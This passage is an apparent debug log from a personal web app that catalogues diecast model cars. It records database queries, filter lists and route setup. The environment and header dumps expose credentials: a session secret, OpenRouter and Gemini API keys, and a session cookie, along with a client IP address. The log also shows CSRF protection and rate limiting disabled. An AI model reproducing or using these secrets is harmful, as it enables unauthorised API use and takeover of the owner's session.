  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 },
  { name: 'Alpine', id: 196 },
  { name: 'Lexus', id: 197 }
]
2026-02-25T12:37:52.529Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-25T12:37:52.533Z server-connect:app Executing action step identify
2026-02-25T12:37:52.533Z server-connect:app options: { provider: 'security' }
2026-02-25T12:37:52.533Z server-connect:output identity: 1
2026-02-25T12:37:52.533Z server-connect:app Executing action step restrict
2026-02-25T12:37:52.533Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-25T12:37:52.534Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-25T12:37:52.535Z server-connect:output restrict: undefined
2026-02-25T12:37:52.536Z server-connect:app Executing action step select
2026-02-25T12:37:52.536Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-25T12:37:52.537Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 196, name: 'Alpine' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 197, name: 'Lexus' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-25T12:37:52.537Z server-connect:app Executing action step select
2026-02-25T12:37:52.538Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-25T12:37:52.539Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-25T12:37:52.539Z server-connect:app Executing action step select
2026-02-25T12:37:52.539Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-25T12:37:52.540Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-25T12:38:12.451Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-02-25T12:38:14.655Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-02-25T12:38:15.522Z server-connect:setup:upload Upload middleware configured.
2026-02-25T12:38:15.523Z server-connect:secure CSRF Protection initialized
2026-02-25T12:38:15.526Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-02-25T12:38:15.528Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-02-25T12:38:15.530Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-02-25T12:38:15.530Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-02-25T12:38:15.537Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-02-25T12:38:15.543Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-02-25T12:38:15.555Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-02-25T12:38:15.568Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-02-25T12:38:15.569Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-02-25T12:38:15.569Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-02-25T12:38:15.570Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-02-25T12:38:15.572Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-02-25T12:38:15.577Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-02-25T12:38:15.586Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-02-25T12:38:15.591Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-02-25T12:38:15.662Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-02-25T12:38:15.662Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-02-25T12:38:15.667Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-02-25T12:38:15.672Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-02-25T12:38:15.676Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-02-25T12:38:15.679Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-02-25T12:38:15.687Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-02-25T12:38:15.687Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-02-25T12:38:15.695Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-02-25T12:38:15.695Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-02-25T12:38:15.700Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-02-25T12:38:15.703Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-02-25T12:38:15.703Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-02-25T12:38:15.711Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-02-25T12:38:15.711Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-02-25T12:38:15.715Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-02-25T12:38:15.715Z server-connect:setup:routes Api route /api/test(.json)? created
2026-02-25T12:38:28.012Z server-connect:router Serving templateView /
2026-02-25T12:38:28.019Z server-connect:app Executing action step identify
2026-02-25T12:38:28.019Z server-connect:app options: { provider: 'security' }
2026-02-25T12:38:28.021Z server-connect:output identity: 1
2026-02-25T12:38:28.021Z server-connect:app Executing action step restrict
2026-02-25T12:38:28.021Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T12:38:28.023Z server-connect:output restrict: undefined
2026-02-25T12:38:28.023Z server-connect:app Executing action step restrict
2026-02-25T12:38:28.023Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-25T12:38:28.024Z server-connect:output restrict: undefined
2026-02-25T12:38:28.024Z server-connect:router Render template layouts/main
2026-02-25T12:38:28.025Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3A74SZCxHZ2lvR3r37N_yLlTWQR0CkvCI5.rnW0nQpDQBZ5LUr75bAvgmvCx5Mmng3Jd5rkWp1ry8o',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-26T12:37:51.721Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3A74SZCxHZ2lvR3r37N_yLlTWQR0CkvCI5.rnW0nQpDQBZ5LUr75bAvgmvCx5Mmng3Jd5rkWp1ry8o',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
